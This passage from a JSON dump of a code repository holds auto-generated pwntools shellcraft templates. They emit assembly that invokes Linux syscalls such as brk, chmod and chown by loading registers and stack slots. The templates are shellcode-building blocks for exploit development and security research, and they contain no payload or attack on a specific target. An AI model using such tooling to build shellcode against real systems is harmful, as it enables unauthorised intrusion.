    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>brk(addr) -> str\n\nInvokes the syscall brk.\n\nSee 'man 2 brk' for more information.\n\nArguments:\n    addr(void*): addr\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr']\n    argument_values = [addr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_brk']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_brk'])\n%>\n    /* brk(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/cachectl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>cachectl(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall cachectl.\n\nSee 'man 2 cachectl' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_cachectl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_cachectl'])\n%>\n    /* cachectl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/cacheflush.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>cacheflush(addr, nbytes, cache) -> str\n\nInvokes the syscall cacheflush.\n\nSee 'man 2 cacheflush' for more information.\n\nArguments:\n    addr(char*): addr\n    nbytes(int): nbytes\n    cache(int): cache\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, nbytes=0, cache=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'nbytes', 'cache']\n    argument_values = [addr, nbytes, cache]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_cacheflush']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_cacheflush'])\n%>\n    /* cacheflush(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/capget.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>capget(hdrp, datap) -> str\n\nInvokes the syscall capget.\n\nSee 'man 2 capget' for more information.\n\nArguments:\n    hdrp(cap_user_header_t): hdrp\n    datap(cap_user_data_t): datap\nReturns:\n    int\n</%docstring>\n<%page args=\"hdrp=0, datap=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['hdrp', 'datap']\n    argument_values = [hdrp, datap]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_capget']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_capget'])\n%>\n    /* capget(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/capset.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>capset(hdrp, datap) -> str\n\nInvokes the syscall capset.\n\nSee 'man 2 capset' for more information.\n\nArguments:\n    hdrp(cap_user_header_t): hdrp\n    datap(cap_user_data_t): datap\nReturns:\n    int\n</%docstring>\n<%page args=\"hdrp=0, datap=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['hdrp', 'datap']\n    argument_values = [hdrp, datap]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_capset']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_capset'])\n%>\n    /* capset(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/chdir.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>chdir(path) -> str\n\nInvokes the syscall chdir.\n\nSee 'man 2 chdir' for more information.\n\nArguments:\n    path(char*): path\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path']\n    argument_values = [path]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_chdir']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_chdir'])\n%>\n    /* chdir(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/chmod.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>chmod(file, mode) -> str\n\nInvokes the syscall chmod.\n\nSee 'man 2 chmod' for more information.\n\nArguments:\n    file(char*): file\n    mode(mode_t): mode\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, mode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'mode']\n    argument_values = [file, mode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_chmod']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_chmod'])\n%>\n    /* chmod(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/chown.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>chown(file, owner, group) -> str\n\nInvokes the syscall chown.\n\nSee 'man 2 chown' for more information.\n\nArguments:\n    file(char*): file\n    owner(uid_t): owner\n    group(gid_t): group\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, owner=0, group=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'owner', 'group']\n    argument_values = [file, owner, group]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_chown']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_chown'])\n%>\n    /* chown(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/chown32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>chown32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall chown32.\n\nSee 'man 2 chown32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_chown32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_chown32'])\n%>\n    /* chown32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/chroot.asm",
